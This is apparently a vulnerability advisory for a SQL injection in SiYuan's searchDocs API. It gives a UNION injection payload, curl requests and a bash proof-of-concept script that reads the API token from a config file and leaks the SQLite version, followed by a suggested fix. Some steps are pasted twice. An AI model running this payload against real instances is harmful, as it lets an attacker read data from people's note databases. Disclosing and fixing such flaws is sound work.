Details
- Build the request body
cat > body.json <<EOF
{"k":"poc%')/**/union/**/select/**/'poc','','poc','','$BOX_ID',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"}
EOF
(The heredoc substitutes $BOX_ID for you, no manual editing.)
- Fire the injection
curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'
Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory.
- Confirm the row is genuinely injected (optional sanity check)
Run the same request with a benign keyword and confirm no version appears:curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"' # returns nothing
The differential (version appears only with the crafted keyword) is clean evidence for the report.
---
If Step 5 returns empty:
- Fire the injection
curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d @body.json | grep -o '"path":"[0-9][^"]*"'
Expected: the SQLite version string, e.g. "path":"3.45.1", proof the keyword was executed as SQL. Screenshot this for the advisory.
- Confirm the row is genuinely injected (optional sanity check)
Run the same request with a benign keyword and confirm no version appears:curl -s -X POST "http://127.0.0.1:6806/api/filetree/searchDocs" -H "Content-Type: application/json" -H "Authorization: Token $TOKEN" -d '{"k":"poc"}' | grep -o '"path":"[0-9][^"]*"' # returns nothing
The differential (version appears only with the crafted keyword) is clean evidence for the report.
Or you can use this script to do the whole process at once:
#!/usr/bin/env bash
#
# siyuan_sqli_poc.sh
# Read-only PoC: proves SQL injection in /api/filetree/searchDocs by disclosing
# sqlite_version() through the search response. Modifies NO data.
set -u
export MSYS_NO_PATHCONV=1 # stop Git Bash from mangling container-absolute paths
# ---- config ---------------------------------------------------------------
BASE="${BASE:-http://127.0.0.1:6806}"
CONTAINER="${CONTAINER:-siyuan-poc}"
CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------
CONF="/siyuan/workspace/conf/conf.json"
# ---------------------------------------------------------------------------
say() { printf '\n\033[1m== %s\033[0m\n' "$*"; }
ok() { printf '\033[32m[OK]\033[0m %s\n' "$*"; }
warn() { printf '\033[33m[!!]\033[0m %s\n' "$*"; }
die() { printf '\033[31m[XX]\033[0m %s\n' "$*"; exit 1; }
# 1. container up?
say "Checking container"
docker ps --format '{{.Names}}' | grep -qx "$CONTAINER" \
|| die "Container '$CONTAINER' is not running. Start it, then re-run."
ok "container '$CONTAINER' is running"
# 2. API alive?
say "Waiting for kernel API"
for i in $(seq 1 30); do
if curl -sf "$BASE/api/system/version" >/dev/null 2>&1; then
ok "API responding at $BASE"; break
fi
sleep 1
[ "$i" = 30 ] && die "API not responding. Open $BASE in a browser, enter the access code, then re-run."
done
# 3. token from conf.json
say "Reading API token"
TOKEN=$(docker exec "$CONTAINER" cat "$CONF" 2>/dev/null \
| grep -oE '"token"[[:space:]]*:[[:space:]]*"[^"]*"' | head -1 \
| sed -E 's/.*:[[:space:]]*"([^"]*)".*/\1/')
if [ -n "$TOKEN" ]; then
ok "token found"
AUTH=(-H "Authorization: Token $TOKEN")
else
warn "no token in conf.json (instance may not be initialized, or auth is disabled)."
warn " -> open $BASE, enter the access code, let the UI load, then re-run."
AUTH=()
fi
# 4. an OPEN notebook id
say "Finding an open notebook"
NB=$(curl -s -X POST "$BASE/api/notebook/lsNotebooks" "${AUTH[@]}")
BOX_ID=$(echo "$NB" | tr '}' '\n' | grep '"closed":false' \
| grep -oE '"id":"[^"]+"' | head -1 | sed -E 's/"id":"([^"]+)"/\1/')
[ -n "$BOX_ID" ] || die "No OPEN notebook found. Open one in the UI ($BASE) and re-run. Raw: $NB"
ok "using open notebook: $BOX_ID"
# 5. build the read-only payload (22-column UNION; col5=box, col6=sqlite_version())
say "Building request body"
PAYLOAD="poc%')/**/union/**/select/**/'poc','','poc','','${BOX_ID}',sqlite_version(),'/POC','POC','','','','','','',0,'d','','',0,'','',0--"
printf '{"k":"%s"}' "$PAYLOAD" > body.json
ok "wrote body.json"
# 6. fire the injection
say "Sending injection"
RESP=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
-H "Content-Type: application/json" "${AUTH[@]}" -d @body.json)
VER=$(echo "$RESP" | grep -oE '"path":"[0-9][^"]*"' | head -1 | sed -E 's/"path":"([^"]*)"/\1/')
# 7. benign differential (must NOT return a version)
BENIGN=$(curl -s -X POST "$BASE/api/filetree/searchDocs" \
-H "Content-Type: application/json" "${AUTH[@]}" -d '{"k":"poc"}' \
| grep -oE '"path":"[0-9][^"]*"' | head -1)
# 8. verdict
say "Result"
if [ -n "$VER" ] && [ -z "$BENIGN" ]; then
ok "SQL injection CONFIRMED"
printf ' leaked sqlite_version() = \033[1m%s\033[0m\n' "$VER"
printf ' (benign keyword returned no version -> value came from injected SQL)\n'
else
warn "no version surfaced. Checking kernel log for the assembled statement..."
docker exec "$CONTAINER" sh -c 'grep "sql query" /siyuan/workspace/temp/siyuan.log 2>/dev/null | tail -3' || true
warn "If you see 'sql query [...] failed', it's a column-count mismatch on this build."
warn "If no error line: the box filter dropped the row -> confirm BOX_ID is an OPEN notebook."
printf ' raw response: %s\n' "$RESP"
fi
bash siyuan_sqli_poc.sh
<img width="809" height="376" alt="image" src="https://github.com/user-attachments/assets/e7875c16-a18b-4acb-811e-7385184bf6d4" />
Suggested fix
Parameterize the search. The load-bearing fix is at SearchDocs and NAMFilter: bind the keyword as a parameter rather than concatenating it, or at minimum escape ' and the LIKE metacharacters and pass via a bound argument. Secondarily, route the searchDocs > query() path through the existing CheckSingleStatement / CheckReadonlyStatement guards so this and any similar internal query path cannot stack statements or write. Consider opening the query handle used by read paths with _query_only=1.